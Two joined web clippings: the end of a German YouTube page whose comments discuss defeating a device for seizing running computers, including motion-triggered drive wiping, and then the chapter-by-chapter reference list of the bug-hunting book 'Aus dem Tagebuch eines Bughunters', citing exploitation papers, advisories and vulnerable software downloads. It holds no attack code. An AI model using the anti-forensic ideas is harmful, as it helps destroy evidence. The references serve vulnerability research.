hinzugefügt4:40UMBERTO TOZZI TI AMO2.592.666 Aufrufe ALASKAJURA

<img src='img/Temp2_9990.gif' alt='Marcy's Waxing Salon' />Zur Quicklist  
hinzugefügt3:11Marcy's Waxing Salon19.871.918 Aufrufe SHOWTIME

<img src='img/Temp2_9990.gif' alt='Big Ali ' />Zur Quicklist  
hinzugefügt3:59Big Ali & Oneal McKnight ft. Heavy D - Champagn...454.152
Aufrufe Navidv

<img src='img/Temp2_9990.gif' alt='leroy jenkins reference on jeopardy' />Zur
Quicklist  
hinzugefügt0:14leroy jenkins reference on jeopardy2.008.349 Aufrufe foolished

<img src='img/Temp2_9990.gif' alt='Let's go phish!' />Zur Quicklist  
hinzugefügt10:00Let's go phish\!3.319 Aufrufe youhakim

Wird geladen...

Alle ähnlichen Videos ansehen

## Vorgestellte Videos

<img src='img/Temp2_9990.gif' alt='Die Stimmen nach dem Spiel gegen Freiburg
(HSV-TV)' />Zur Quicklist  
hinzugefügt2:41Die Stimmen nach dem Spiel gegen Freiburg \(HSV-TV\)3.247
Aufrufe hamburgersv

<img src='img/Temp2_9990.gif' alt='Fliegen am Limit (3/4) - Die IRIS-T Rakete'
/>Zur Quicklist  
hinzugefügt4:16Fliegen am Limit \(3/4\) - Die IRIS-T Rakete772 Aufrufe
sztvreportage

<img src='img/Temp2_9990.gif' alt='Come and take a shower with me ...' />Zur
Quicklist  
hinzugefügt1:33Come and take a shower with me ...31.527 Aufrufe
BabesAndBitches

26 Bewertungen

Zum Bewerten anmelden

28.393 Aufrufe

Möchtest du Videos bewerten und anderen Nutzern deine Meinung mitteilen? Mit
YouTube AutoShare kannst du deine Bewertungen, Favoriten und vieles mehr auf
Facebook, Twitter und Google Reader automatisch freigeben.

AutoShare testen Was ist AutoShare?

Mit AutoShare kannst du bestimmte YouTube-Aktivitäten in den von dir gewählten
Services veröffentlichen. Wähle nur die Services, denen du vertraust \(z. B.
Facebook, Twitter oder Google Reader\), um deine Freunde zu informieren, was
dir auf YouTube gefällt. Du kannst AutoShare jederzeit wieder deaktivieren.

Favorit

Weiterleiten

Playlists

Melden

\(weitere Freigabeoptionen\)

weniger Freigabeoptionen

MySpace

Facebook

Digg

MySpace

Facebook

Digg

Live Spaces

orkut

YiGG

del.icio.us

Twitter

Möchtest du Videos an Freunde weiterleiten? Mit YouTube AutoShare kannst du
deine Bewertungen, Favoriten und vieles mehr auf Facebook, Twitter und Google
Reader automatisch freigeben.

AutoShare testen Was ist AutoShare?

Mit AutoShare kannst du bestimmte YouTube-Aktivitäten in den von dir gewählten
Services veröffentlichen. Wähle nur die Services, denen du vertraust \(z. B.
Facebook, Twitter oder Google Reader\), um deine Freunde zu informieren, was
dir auf YouTube gefällt. Du kannst AutoShare jederzeit wieder deaktivieren.

Das Video wird bald in deinem Blog angezeigt.

Wird geladen...

Wird geladen...

Wird geladen...

Wird geladen...

Vielen Dank, dass du dieses Video empfohlen hast.

Speichern...

Schließen

<img src='img/Temp2_9990.gif' /> Dieses Video wurde zu deinen Favoriten
**hinzugefügt**. \(Rückgängig machen\)

Schließen

<img src='img/Temp2_9990.gif' /> Dieses Video wurde aus deinen Favoriten
**entfernt**. \(Rückgängig machen\)

Schließen

Du möchtest Favoriten hinzufügen? **Jetztanmelden oder ein neues Konto
erstellen\!**

Wird geladen...

<img src='img/Temp2_9990.gif' />Das Video wurde deiner Playlist hinzugefügt.

Schließen

Du möchtest Playlists ergänzen? **Jetztanmelden oder ein neues Konto
erstellen\!**

Wird geladen...

Schließen

Du möchtest ein Video melden? **Jetztanmelden oder ein neues Konto
erstellen\!**

#### Statistiken & Daten

Wird geladen...

Anmelden, um eine Videoantwort zu posten

#### Videoantworten \(0\)

Zu diesem Video gibt es **keine Antworten**. Sei der erste, der eine
Videoantwort postet.

Anmelden, um einen Kommentar zu posten

#### Textkommentare \(11\) Optionen

Wird geladen...

Sebastyne \(vor 7 Monaten\) Anzeigen Ausblenden

0

Als Spam markiert

Antworten

The plug catcher thingy wouldn't work on a standard plug﻿ in Finland. The plug
is never inserted on a completely straight surface, but is inside a wall at
least few milliliters, enough to break the connection when the device is put
on. If it is a very common earth-bound socket, there would be no way removing
it with that device, as that is about 1,5 cm deep.  
  
With the extension chord it would work though, and most computers have too
many gadgets to plug straight onto the wall.

retnuh66 \(vor 11 Monaten\) Anzeigen Ausblenden

+1

Als Spam markiert

Antworten

The second thing﻿ seems like a good way to electrocute someone

Hateblade \(vor 1 Jahr\) Anzeigen Ausblenden

+2

Als Spam markiert

Antworten

Very nice tool, but useless if I bolt down the PC, or simply do not use a
case. I'm sure there are ways to get around these methods, but they put an﻿
extra kink in the process. I'd also try to create a shock-triggered sensor
that disconnects the motherboard if the PC is moved. Such a device would not
be hard or expensive to build and coupled with software that trashes the drive
if the correct password is not entered within a certain time frame, it
strongly adds to the security of a unmanned PC.

Pisscorns \(vor 1 Jahr\) Anzeigen Ausblenden

0

Als Spam markiert

Antworten

so, after hacking the pentagon make sure you turn off your computer.  
if you are a criminal you must be a really dumbass one to use a computer then
not know how to erase your traces. its like robbing a bank then not﻿ knowing
where the door is you just came from. if you get caught with really illegal
stuff on your computer you just deserve it.

lImbus924 \(vor 1 Jahr\) Anzeigen Ausblenden

+1

Als Spam markiert

Antworten

looks like a nice product, but please get a tripod \!﻿

mgabrysSF \(vor 1 Jahr\) Anzeigen Ausblenden

+8

Als Spam markiert

Antworten

Cool. So if I use my motion sensors to initiate a triple-pass erase script,
I'll know that you'll maintain power﻿ through the whole in process in transit.  
  
Thanks hotplug\! My scenario would never work without you.

BenQueensland \(vor 1 Jahr\) Anzeigen Ausblenden

-3
Als Spam markiert

Antworten

Powerboard solution attempt \#2:  
  
Using Relays- \[input && \[ socket1 | socket2 | socket3 | socket4 \]\]  
  
Of course the best solution is not to break﻿ the law and then these guys wont
visit you\! Relays are big and chunky and this modification should be easy to
spot.

BenQueensland \(vor 1 Jahr\) Anzeigen Ausblenden

0

Als Spam markiert

Antworten

Work arounds:  
  
Open up the power﻿ board and put diodes in series with the live pins stopping
the sharing of voltage from one socket to the next.  
  
Put paint or varnish layers on the pins near the lead of the plug you plug
into the wall so it has to be pulled out of the socket further and it stops
making contact.

mikeb56 \(vor 1 Jahr\) Anzeigen Ausblenden

0

Als Spam markiert

Antworten

Diodes on the AC mains to block current between sockets? Maybe you should go
back to the drawing﻿ board.

BenQueensland \(vor 1 Jahr\) Anzeigen Ausblenden

+2

Als Spam markiert

Antworten

Yes you are right.﻿ It is not DC. Diodes would not work.

**Es werden 10** von 11 Kommentaren angezeigt. |  Mehr Kommentare anzeigen | Alle 11 Kommentare anzeigen  
---|---|---  
## Möchtest du einen Kommentar abgeben?

Erstelle ein kostenloses YouTube-Konto oder melde dich an, wenn du bereits
Mitglied bist.

Möchtest du Videos kommentieren und anderen Nutzern deine Meinung mitteilen?

AutoShare testen Was ist AutoShare?

Mit AutoShare kannst du bestimmte YouTube-Aktivitäten in den von dir gewählten
Services veröffentlichen. Wähle nur die Services, denen du vertraust \(z. B.
Facebook, Twitter oder Google Reader\), um deine Freunde zu informieren, was
dir auf YouTube gefällt. Du kannst AutoShare jederzeit wieder deaktivieren.

Nutze YouTube in einem schnellen, neuen Webbrowser\! Google Chrome für Linux
herunterladen

Suchen

YouTube| Programme| Hilfe| Richtlinien| Entdecken  
---|---|---|---|---  
Kontakt| Werbung| **Hilfe erhalten**| Datenschutzbestimmungen| YouTube auf
deinem Handy  
Über YouTube| Entwickler| YouTube-Handbuch| Nutzungsbedingungen| YouTube auf
deiner Site  
Presse| Partnerschaften| Hilfe-Foren der Community| Urheberrecht| YouTube auf
deinem Fernseher  
Business-Blog| Content-Management| Sicherheitscenter| Community-Richtlinien|
YouTube-RSS-Feeds  
YouTube-Blog| | | | TestTube  
YouTube zu deiner Google-Startseite hinzufügen

Aktueller Standort: **Deutschland** Standorte anzeigen

Wird geladen...

Aktuelle Sprache: **Deutsch** Sprachen anzeigen

Wird geladen...

© 2010 YouTube, LLC

# Aus dem Tagebuch eines Bughunters - Literatur

**Created:**| _4/3/2010 8:20:28 AM_  
---|---  
**Updated:**| _4/3/2010 8:20:52 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

## Aus dem Tagebuch eines Bughunters - Literatur

Im Anschluss findest du die innerhalb des Buches » _Aus dem Tagebuch eines
Bughunters_ « referenzierten URLs unterteilt nach Kapiteln. Sollte einer der
Links nicht mehr funktionieren, dann lass es mich bittewissen. Danke\!

## Kapitelübersicht:

Kapitel 2 - Bughunting

Kapitel 3 - Die 90er lassen grüßen

Kapitel 4 - Flucht aus der Zone

Kapitel 5 - NULL Pointer FTW

Kapitel 6 - Browse and you're Owned

Kapitel 7 - Einer für alle

Kapitel 8 - Ein Bug älter als 4.4BSD

Kapitel 9 - Das Klingelton-Massaker

Kapitel 10 - Was du vielleicht noch wissen willst über ...

## ► Kapitel 2 - Bughunting

\[AMINI 2009\] Amini, P.: Mostrame la guita\! Adventures in buying
vulnerabilities,
2009,http://docs.google.com/present/view?id=dcc6wpsd\_20ghbpjxcr \(Stand:
Januar 2010\).  
  
\[DOUBLEFREE\] http://de.wikipedia.org/wiki/Doppelte\_Deallokation \(Stand:
Januar 2010\).  
  
\[DOWD et al. 2007\] Dowd, M.; McDonald, J.; Schuh, J.: The Art of Software
Security Assessment, Addison-Wesley, 2007.  
  
\[EAGLE 2008\] Eagle, C.: The IDA Pro Book: The Unofficial Guide to the
World's Most Popular Disassembler, No Starch Press, 2008.  
  
\[EEYE\] eEye Digital Security Research, http://research.eeye.com/ \(Stand:
Januar 2010\).  
  
\[ERICKSON 2008\] Erickson, J.: Hacking – Die Kunst des Exploits,
dpunkt.verlag, 2008.  
  
\[GOOG1\] http://www.google.de/search?q=eip+41414141  
  
\[GOOG2\] http://www.google.de/search?q="exploitation+techniques"  
  
\[HODSON 2008\] Hodson, D.: Uninitialized Variables: Finding, Exploiting,
Automating, Ruxcon
2008,http://www.ruxcon.org.au/files/2008/Uninitialized%20Variables%20-%20Live.ppt
\(Stand: Januar 2010\).  
  
\[IDA\] IDA Pro Disassembler, http://www.hex-rays.com/idapro/ \(Stand: Januar
2010\).  
  
\[IDEF\] iDefense Labs Vulnerability Contribution Program,
http://labs.idefense.com/ \(Stand: Januar 2010\)  
  
\[INTEL 2008\] Intel® 64 and IA-32 Architectures Software Developer's Manual
Volume 1: Basic Architecture, November 2008,
http://www.intel.com/products/processor/manuals/ \(Stand: Januar 2010\).  
  
\[KLEIN 2003\] Klein, T.: Buffer Overflows und Format-String-Schwachstellen –
Funktionsweisen, Exploits und Gegenmaßnahmen, dpunkt.verlag, 2003.  
  
\[MILLER 2007\] Miller, C.: The Legitimate Vulnerability Market – Inside the
Secretive World of 0-day Exploit Sales, 2007,
http://weis2007.econinfosec.org/papers/29.pdf \(Stand: Januar 2010\).  
  
\[MS08-067\] Microsoft Security Bulletin
MS08-067,http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
\(Stand: Januar 2010\).  
  
\[OSTERHAGE 2009\] Osterhage, J.: Rechner von Computerwurm
infiziert,http://www.tagesschau.de/inland/conficker102.html, ARD Berlin,
Tagesschau 15.02.2009 \(Stand: Januar 2010\).  
  
\[SUTTON et al. 2007\] Sutton, M.; Greene, A.; Amini, P.: Fuzzing: Brute Force
Vulnerability Discovery, Addison-Wesley, 2007.  
  
\[TIPP\] TippingPoint Zero Day Initiative, http://www.zerodayinitiative.com/
\(Stand: Januar 2010\).  
  
\[XFORCE\] IBM X-Force, http://xforce.iss.net/ \(Stand: Januar 2010\).  
  

## ► Kapitel 3 - Die 90er lassen grüßen

\[CVE\] About CVE Identifiers, http://cve.mitre.org/cve/identifiers/index.html
\(Stand: Januar 2010\).  
  
\[CYGWIN\] http://www.cygwin.com/ \(Stand: Januar 2010\).  
  
\[DEMUX\] http://de.wikipedia.org/wiki/Demultiplexer \(Stand: Januar 2010\).  
  
\[EMET\] Enhanced Mitigation Evaluation
Toolkit,http://blogs.technet.com/srd/archive/2009/10/27/announcing-the-
release-of-the-enhanced-mitigation-evaluation-toolkit.aspx \(Stand: Januar
2010\).  
  
\[FREI et al. 2009\] Frei, S.; Schatzmann, D.; Plattner, B.; Trammel, B.:
Modelling the Security Ecosystem - The Dynamics of \(In\)Security, Workshop on
the Economics of Information Security \(WEIS\), Juni
2009,http://www.techzoom.net/publications/security-ecosystem/ \(Stand: Januar
2010\).  
  
\[HOWARD 2008\] Howard, M.: Protecting Your Code with Visual C++
Defenses,http://msdn.microsoft.com/en-us/magazine/cc337897.aspx, 2008 \(Stand:
Januar 2010\). Guter Artikel über die „Exploit-Gegenmaßnahmen“, die von
Microsoft in Visual C++ 2005 SP1 eingeführt wurden.  
  
\[IMDBG\] Immunity Debugger, http://www.immunityinc.com/products-immdbg.shtml
\(Stand: Januar 2010\). Ein empfehlenswerter Windows Debugger auf Basis von
OllyDBG. Der Debugger verfügt über eine intuitive GUI sowie eine Reihe von
hilfreichen Extrafunktionen und Plug-ins zur Unterstützung von Bughunting und
Exploit-Entwicklung.  
  
\[KLEIN 2003\] Klein, T.: Buffer Overflows und Format-String-Schwachstellen –
Funktionsweisen, Exploits und Gegenmaßnahmen, dpunkt.verlag, 2003.  
  
\[LITCHFIELD 2003\] Litchfield, D.: Variations in Exploit methods between
Linux and Windows, Juli
2003,http://www.ngssoftware.com/papers/exploitvariation.pdf \(Stand: Januar
2010\). Beschreibung der jmp-reg-Technik.  
  
\[LOOK\] Looking Glass, http://www.erratasec.com/lookingglass.html \(Stand:
Januar 2010\). Dieses hilfreiche Werkzeug untersucht Dateien sowie laufende
Prozesse hinsichtlich ASLR- und NX-Unterstützung.  
  
\[MPLAYER\] Der Server http://samples.mplayerhq.hu \(Stand: Januar 2010\)
stellt eine umfangreiche Sammlung an Dateien der unterschiedlichsten
Medienformate bereit.  
  
\[PARSER\] http://de.wikipedia.org/wiki/Parser \(Stand: Januar 2010\).  
  
\[TIVO\] Die innerhalb dieses Kapitels verwendete TiVo-Mediendatei kann unter
folgender URL heruntergeladen werden: http://samples.mplayerhq.hu/TiVo/test-
dtivo-junkskip.ty%2b \(Stand: Januar 2010\).  
  
\[TKADV2008-010\] Mein Security Advisory, das die VLC-Schwachstelle
beschreibt,http://www.trapkit.de/advisories/TKADV2008-010.txt \(Stand: Januar
2010\).  
  
\[VLCFIX1\] Erster Patch der VLC Maintainer:
http://git.videolan.org/?p=vlc.git;a=commitdiff;h=26d92b87bba99b5ea2e17b7eaa39c462d65e9133
\(Stand: Januar 2010\).  
  
\[VLCFIX2\] Zweiter Patch der VLC Maintainer:
http://git.videolan.org/?p=vlc.git;a=commitdiff;h=d859e6b9537af2d7326276f70de25a840f554dc3
\(Stand: Januar 2010\).  
  
\[VLCSRC\] Der Quellcode der verwundbaren VLC-Version kann unter folgender URL
heruntergeladen werden:
http://download.videolan.org/pub/videolan/vlc/0.9.4/vlc-0.9.4.tar.bz2 \(Stand:
Januar 2010\).  
  
\[VLCWIN\] Die in diesem Kapitel beschriebene verwundbare Windows-Version von
VLC kann unter folgender URL heruntergeladen
werden:http://download.videolan.org/pub/videolan/vlc/0.9.4/win32/ \(Stand:
Januar 2010\).  
  
\[§202c\] http://de.wikipedia.org/wiki/Hackerparagraf \(Stand: Januar 2010\).  
  

## ► Kapitel 4 - Flucht aus der Zone

\[CVSREF1\] OpenGrok Quellcode-Browser-Referenz von
OpenSolaris:http://cvs.opensolaris.org/source/xref/onnv/onnv-
gate/usr/src/uts/common/inet/ip/ip.c?r=4823%3A7c9aaea16585 \(Stand: Januar
2010\).  
  
\[CVSREF2\] OpenGrok Quellcode-Browser-Referenz von
OpenSolaris:http://cvs.opensolaris.org/source/xref/onnv/onnv-
gate/usr/src/uts/common/inet/ip/ip\_if.c?r=5240%3Ae7599510dd03 \(Stand: Januar
2010\).  
  
\[CVSREF3\] OpenGrok Quellcode-Browser-Referenz von
OpenSolaris:http://cvs.opensolaris.org/source/xref/onnv/onnv-
gate/usr/src/uts/common/os/putnext.c?r=0%3A68f95e015346 \(Stand: Januar
2010\).  
  
\[CVSREF\] OpenGrok Quellcode-Browser-Referenz von
OpenSolaris:http://cvs.opensolaris.org/source/xref/onnv/onnv-
gate/usr/src/uts/common/sys/stream.h?r=4823%3A7c9aaea16585 \(Stand: Januar
2010\).  
  
\[IOCTLS\] Input/Output Control, http://en.wikipedia.org/wiki/Ioctl \(Stand:
Januar 2010\).  
  
\[MDB\] Den offiziellen „Solaris Modular Debugger Guide“ von Sun findet man
unter folgender URL:http://docs.sun.com/app/docs/doc/806-5194?l=en \(Stand:
Januar 2010\).  
  
\[SOLMEM\] OpenGrok Quellcode-Browser-Referenz von
OpenSolaris:http://cvs.opensolaris.org/source/xref/onnv/onnv-
gate/usr/src/uts/i86pc/os/startup.c?r=10942:eaa343de0d06 \(Stand: Januar
2010\).  
  
\[SOL\] Download-Seite des OpenSolaris-Quellcodes \(das „ON Source“ Paket
beinhaltet den Kernel\):http://dlc.sun.com/osol/on/downloads/current/ \(Stand:
Januar 2010\).  
  
\[STREAMS 1997\] STREAMS Programming Guide, Sun Microsystems, Inc.,
1997,http://dlc.sun.com/pdf/816-4855/816-4855.pdf \(Stand: Januar 2010\).  
  
\[SUN1\] Die innerhalb dieses Kapitels genutzte DVD Solaris 10 10/08 x86/x64,
lässt sich unter folgender URL herunterladen:
http://www.sun.com/software/solaris/releases.jsp \(Stand: Januar 2010\).  
  
\[SUN2\] Patch von Sun: http://cvs.opensolaris.org/source/diff/onnv/onnv-
gate/usr/src/uts/common/inet/ip/ip\_if.c?r1=/onnv/onnv-
gate/usr/src/uts/common/inet/ip/ip\_if.c@5240&r2=/onnv/onnv-
gate/usr/src/uts/common/inet/ip/ip\_if.c@5335&format=s&full=0 \(Stand: Januar
2010\).  
  
\[TKADV2008-015\] Mein Security Advisory, das die Schwachstelle innerhalb des
Solaris-Kernels beschreibt, http://www.trapkit.de/advisories/TKADV2008-015.txt
\(Stand: Januar 2010\).  
  
\[TUN7M\] tun\(7m\) – Man Page des Tunneling STREAMS-Moduls von
Solaris:http://docs.sun.com/app/docs/doc/816-5177/tun-7m?l=en&a=view \(Stand:
Januar 2010\).  
  
\[TWIZ & SGRAKKYU 2007\] twiz & sgrakkyu: Attacking the Core – Kernel
Exploiting Notes,http://www.phrack.com/issues.html?issue=64&id=6, Februar 2007
\(Stand: Januar 2010\).  
  
\[§202c\] http://de.wikipedia.org/wiki/Hackerparagraf \(Stand: Januar 2010\).  
  

## ► Kapitel 5 - NULL Pointer FTW

\[4XM\] Detaillierte Beschreibung des 4X Movie-Dateiformats:
http://wiki.multimedia.cx/index.php?title=4xm\_Format \(Stand: Januar 2010\).  
  
\[DOWD et al. 2007\] Dowd, M.; McDonald, J.; Schuh, J.: The Art of Software
Security Assessment, Addison-Wesley, 2007. Ein Beispielkapitel dieses
empfehlenswerten Buches, in dem Typkonvertierungsfehler und daraus
resultierende Sicherheitsprobleme im Detail beschrieben werden, wird unter
folgender URL zum freien Download
angeboten:http://www.awprofessional.com/content/images/0321444426/samplechapter/Dowd\_ch06.pdf\(Stand:
Januar 2010\).  
  
\[DOWD\] Mark Dowds MacGyver Exploit für Flash:
http://blogs.iss.net/archive/flash.html \(Stand: Januar 2010\).  
  
\[FFMPEG\] Patch der FFmpeg Maintainer:
http://git.ffmpeg.org/?p=ffmpeg;a=commitdiff;h=72e715fb798f2cb79fd24a6d2eaeafb7c6eeda17\#patch1
\(Stand: Januar 2010\).  
  
\[FFSVN\] Download-Seite und SVN von FFmpeg: http://ffmpeg.org/download.html
\(Stand: Januar 2010\).  
  
\[MPLAYER\] Der Server http://samples.mplayerhq.hu \(Stand: Januar 2010\)
stellt eine umfangreiche Sammlung an Dateien der unterschiedlichsten
Medienformate bereit.  
  
\[SCHUH\] Justin Schuhs Firefox-Schwachstelle:
http://blogs.iss.net/archive/cve-2008-0017.html\(Stand: Januar 2010\).  
  
\[TKADV2009-004\] Mein Security Advisory, das die FFmpeg-Schwachstelle
beschreibt:http://www.trapkit.de/advisories/TKADV2009-004.txt \(Stand: Januar
2010\).  
  
\[YTUBE\] http://wiki.multimedia.cx/index.php?title=YouTube \(Stand: Januar
2010\).  
  
\[§202c\] http://de.wikipedia.org/wiki/Hackerparagraf \(Stand: Januar 2010\).  
  

## ► Kapitel 6 - Browse and you're Owned

\[BROAD 2008\] Broad, E.: Webex atucfobj Module ActiveX Control Buffer
Overflow Vulnerability,http://seclists.org/fulldisclosure/2008/Aug/83 \(Stand:
Januar 2010\).  
  
\[COM\] COMRaider von iDefense ist ein hilfreiches Werkzeug zur Analyse von
ActiveX
Controls,http://labs.idefense.com/software/fuzzing.php\#more\_comraider
\(Stand: Januar 2010\).  
  
\[DISPCALL\] DispCallFunc, http://msdn.microsoft.com/en-
us/library/ms221473.aspx \(Stand: Januar 2010\).  
  
\[HEAPSPRAY\] Heap Spraying Exploit-Technik,
http://en.wikipedia.org/wiki/Heap\_spraying \(Stand: Januar 2010\).  
  
\[IDA\] IDA Pro Disassembler, http://www.hex-rays.com/idapro/ \(Stand: Januar
2010\).  
  
\[KLEIN 2003\] Klein, T.: Buffer Overflows und Format-String-Schwachstellen –
Funktionsweisen, Exploits und Gegenmaßnahmen, dpunkt.verlag, 2003.  
  
\[MSDN2\] ActiveX Security: Improvements and Best Practices,
http://msdn.microsoft.com/en-us/library/bb250471%28VS.85%29.aspx \(Stand:
Januar 2010\).  
  
\[MSDN\] Safe Initialization and Scripting for ActiveX Controls,
http://msdn.microsoft.com/en-us/library/aa751977\(VS.85\).aspx \(Stand: Januar
2010\).  
  
\[PIERCE 2009\] Pierce, C.: MindshaRE: Finding ActiveX Methods
Dynamically,http://dvlabs.tippingpoint.com/blog/2009/06/01/mindshare-finding-
activex-methods-dynamically \(Stand: Januar 2010\).  
  
\[SRD\] Not safe = not dangerous? How to tell if ActiveX vulnerabilities are
exploitable in Internet Explorer,
http://blogs.technet.com/srd/archive/2008/02/03/activex-controls.aspx \(Stand:
Januar 2010\).  
  
\[TKADV2008-009\] Mein Security Advisory, das die Schwachstelle innerhalb des
WebEx Meeting Managers beschreibt:
http://www.trapkit.de/advisories/TKADV2008-009.txt \(Stand: Januar 2010\).  
  
\[WEBEX\] Einen Download-Link zur verwundbaren Version von WebEx Meeting
Manager findet man unter folgender URL: http://www.trapkit.de/books/bhd/.  
  
\[WINDBG\] WinDBG ist der offizielle Windows Debugger von
Microsoft,http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx
\(Stand: Januar 2010\).  
  
\[XSS\] http://de.wikipedia.org/wiki/Cross-Site\_Scripting \(Stand: Januar
2010\).  
  
\[§202c\] http://de.wikipedia.org/wiki/Hackerparagraf \(Stand: Januar 2010\).  
  

## ► Kapitel 7 - Einer für alle

\[AVAST\] avast\! AntiVirus, ALWIL Software, http://www.avast.com \(Stand:
Januar 2010\).  
  
\[BUTLER 2004\] Butler, J.: DKOM \(Direct Kernel Object
Manipulation\),http://www.blackhat.com/presentations/win-usa-04/bh-
win-04-butler.pdf \(Stand: Januar 2010\).  
  
\[DVIEW\] DriverView, http://www.nirsoft.net/utils/driverview.html \(Stand:
Januar 2010\).  
  
\[IDA\] IDA Pro Disassembler, http://www.hex-rays.com/idapro/ \(Stand: Januar
2010\).  
  
\[MSDN1\] Windows Driver Kit: Kernel-Mode Driver Architecture:
DriverEntry,http://msdn.microsoft.com/en-us/library/ms795702.aspx \(Stand:
Januar 2010\).  
  
\[MSDN2\] Windows Driver Kit: Kernel-Mode Driver Architecture:
DispatchDeviceControl,http://msdn.microsoft.com/en-us/library/ms795667.aspx
\(Stand: Januar 2010\).  
  
\[MSDN3\] Windows Driver Kit: Kernel-Mode Driver Architecture: IRP,
http://msdn.microsoft.com/en-us/library/dd852053.aspx \(Stand: Januar 2010\).  
  
\[MSDN4\] Windows Driver Kit: Kernel-Mode Driver Architecture: Buffer
Descriptions for I/O Control Codes, http://msdn.microsoft.com/en-
us/library/ms795857.aspx \(Stand: Januar 2010\).  
  
\[SANS\] SANS Top-20 2007 Security Risks \(2007 Annual
Update\),http://www.sans.org/top20/2007/ \(Stand: Februar 2010\).  
  
\[TKADV2008-002\] Mein Security Advisory, das die Schwachstelle innerhalb von
avast\! beschreibt:http://www.trapkit.de/advisories/TKADV2008-002.txt \(Stand:
Januar 2010\).  
  
\[VIRUSTOTAL\] http://www.virustotal.com/ \(Stand: Januar 2010\).  
  
\[VMWARE\] http://www.vmware.com \(Stand: Januar 2010\).  
  
\[WDK\] Windows Driver Kit,
http://www.microsoft.com/whdc/devtools/WDK/default.mspx\(Stand: Januar 2010\).  
  
\[WINDBG\] WinDBG ist der offizielle Windows Debugger von
Microsoft,http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx
\(Stand: Januar 2010\).  
  
\[WINOBJ\] WinObj, http://technet.microsoft.com/en-
us/sysinternals/bb896657.aspx \(Stand: Januar 2010\).  
  
\[§202c\] http://de.wikipedia.org/wiki/Hackerparagraf \(Stand: Januar 2010\).  
  

## ► Kapitel 8 - Ein Bug älter als 4.4BSD

\[APPLEDBG1\] Mac OS X Reference Library: Hello Debugger: Debugging a Device
Driver With
GDB,http://developer.apple.com/mac/library/documentation/Darwin/Conceptual/KEXTConcept/  
KEXTConceptDebugger/hello\_debugger.html \(Stand: Januar 2010\).  
  
\[APPLEDBG2\] Mac OS X Reference Library: When Things Go Wrong: Debugging the
Kernel,http://developer.apple.com/mac/library/documentation/Darwin/Conceptual/KernelProgramming/  
build/build.html\#//apple\_ref/doc/uid/TP30000905-CH221-CIHBJCGC \(Stand:
Januar 2010\).  
  
\[FREEBSD\] Initiale FreeBSD-Version von tty.c aus dem Jahre
1994:http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/tty.c?rev=1.1;content-
type=text/plain\(Stand: Januar 2010\).  
  
\[OSXPANIC\] About "You need to restart your computer" \(kernel panic\)
messages,http://support.apple.com/kb/HT1392 \(Stand: Januar 2010\).  
  
\[TKADV2007-001\] Mein Security Advisory, das die Mac OS X-Kernel-
Schwachstelle beschreibt,http://www.trapkit.de/advisories/TKADV2007-001.txt
\(Stand: Januar 2010\).  
  
\[XNUFIX\] Offizieller Download-Link der fehlerbereinigten Version 792.24.17
des XNU-Kernels von Mac OS X:
http://www.opensource.apple.com/tarballs/xnu/xnu-792.24.17.tar.gz \(Stand:
Januar 2010\).  
  
\[XNU\] Offizieller Download-Link des Quellcodes der verwundbaren XNU-Kernel-
Version 792.13.8 von Mac OS X:
http://www.opensource.apple.com/tarballs/xnu/xnu-792.13.8.tar.gz \(Stand:
Januar 2010\).  
  
\[§202c\] http://de.wikipedia.org/wiki/Hackerparagraf \(Stand: Januar 2010\).  
  

## ► Kapitel 9 - Das Klingelton-Massaker

\[AAC\] Advanced Audio Coding,
http://en.wikipedia.org/wiki/Advanced\_Audio\_Coding \(Stand: Januar 2010\).  
  
\[ARM\] ARM Processor Instruction Set
Architecture,http://www.arm.com/products/CPUs/architecture.html \(Stand:
Januar 2010\).  
  
\[ATOOLBOX\] Audio Toolbox Framework
Reference,http://developer.apple.com/iphone/library/documentation/MusicAudio/Reference/  
CAAudioTooboxRef/ \(Stand: Januar 2010\).  
  
\[COREAUDIO\] Core Audio
Overview,http://developer.apple.com/iphone/library/documentation/MusicAudio/Conceptual/  
CoreAudioOverview/Introduction/Introduction.html \(Stand: Januar 2010\).  
  
\[OPENURL\] http://www.google.com/search?q=openurl+iphone+erica+utilities  
  
\[QTFF\] QuickTime File Format
Specification,http://developer.apple.com/mac/library/documentation/QuickTime/QTFF/QTFFPreface/  
qtffPreface.html \(Stand: Januar 2010\).  
  
\[TKADV2009-007\] Mein Security Advisory, das die Details der Heap-Buffer-
Overflow-Schwachstelle beschreibt, die ich innerhalb des iPhone OS gefunden
habe,http://www.trapkit.de/advisories/TKADV2009-007.txt \(Stand: Januar
2010\).  
  

## ► Kapitel 10 - Was du vielleicht noch wissen willst über ...

**► 10.1 Stack Buffer Overflows**  
  
\[ALEPH 1996\] Aleph One: Smashing the stack for fun and
profit,http://www.phrack.com/issues.html?issue=49&id=14, 1996 \(Stand: Januar
2010\).  
  
\[ANON 2001\] anonymous: Once upon a free\(\)...,
http://www.phrack.com/issues.html?issue=57&id=9, 2001 \(Stand: Januar 2010\).  
  
\[HUKU 2009\] huku: Yet another free\(\) exploitation technique,
http://www.phrack.com/issues.html?issue=66&id=6, 2009 \(Stand: Januar 2010\).  
  
\[JP 2003\] jp: Advanced Doug lea's malloc exploits,
http://www.phrack.org/issues.html?issue=61&id=6, 2003 \(Stand: Januar 2010\).  
  
\[KLEIN 2003\] Klein, T.: Buffer Overflows und Format-String-Schwachstellen –
Funktionsweisen, Exploits und Gegenmaßnahmen, dpunkt.verlag, 2003.  
  
\[KLOG 1999\] klog: The Frame Pointer Overwrite,
http://www.phrack.com/issues.html?issue=55&id=8, 1999 \(Stand: Januar 2010\).  
  
\[LITCHFIELD 2003\] Litchfield, D.: Variations in Exploit methods between
Linux and Windows, July
2003,http://www.ngssoftware.com/papers/exploitvariation.pdf \(Stand: Januar
2010\).  
  
\[MAXX 2001\] Michel “MaXX” Kaempf: Vudo – An object superstitiously believed
to embody magical powers, http://www.phrack.org/issues.html?issue=57&id=8,
2001 \(Stand: Januar 2010\).  
  
\[MCDONALD & VALASEK 2009\] McDonald, J.; Valasek, C.: Practical Windows
XP/2003 Heap Exploitation,http://www.blackhat.com/presentations/bh-
usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf \(Stand: Januar 2010\).  
  
\[PHANTASMAL 2005\] Phantasmal Phantasmagoria: The Malloc Maleficarum – Glibc
Malloc Exploitation Techniques,
